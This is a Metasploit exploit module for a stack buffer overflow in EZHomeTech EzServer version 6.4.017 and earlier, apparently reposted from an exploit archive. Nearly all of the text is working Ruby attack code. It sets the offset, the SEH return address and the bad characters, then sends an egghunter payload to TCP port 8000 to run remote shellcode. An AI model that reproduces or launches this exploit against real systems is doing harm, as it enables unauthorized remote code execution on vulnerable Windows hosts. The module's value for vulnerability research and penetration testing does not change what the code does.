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EZHomeTech EzServer <= 6.4.017 Stack Buffer Overflow Vulnerability
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Egghunter include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'EZHomeTech EzServer <= 6.4.017 Stack Buffer Overflow Vulnerability', 'Description' => %q{ This module exploits a stack buffer overflow in the EZHomeTech EZServer. If a malicious user sends packets containing an overly long string, it may be possible to execute a payload remotely. Due to size constraints, this module uses the Egghunter technique. }, 'License' => MSF_LICENSE, 'Author' => [ 'modpr0be<modpr0be[at]spentera.com>' # Original discovery and Metasploit module ], 'References' => [ [ 'EDB', '19266' ], [ 'URL', 'http://www.spentera.com/2012/06/ezhometech-ezserver-6-4-017-stack-overflow-vulnerability/' ] ], 'DefaultOptions' => { 'ExitFunction' => 'seh' }, 'Platform' => 'win', 'Payload' => { 'BadChars' => "\x00\x0a\x0d\x20\x2e\x2f\x3a", 'DisableNops' => true }, 'Targets' => [ [ 'EzHomeTech EzServer <= 6.4.017 (Windows XP Universal)', { 'Ret' => 0x10212779, # pop ecx # pop ebx # ret 4 - msvcrtd.dll 'Offset' => 5852 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Jun 18 2012', 'DefaultTarget' => 0)) register_options([Opt::RPORT(8000)], self.class) end def exploit connect eggoptions = { :checksum => true, :eggtag => "w00t" } hunter = generate_egghunter(payload.encoded,payload_badchars,eggoptions) egg = hunter[1] buff = rand_text(target['Offset'] - egg.length) #junk buff << egg buff << make_nops(32) buff << generate_seh_record(target.ret) buff << make_nops(16) buff << hunter[0] buff << rand_text_alpha_upper(500) print_status("Triggering shellcode now...") print_status("Please be patient, the egghunter may take a while..") sock.put(buff) handler disconnect end end # 0day.today [2024-12-24] #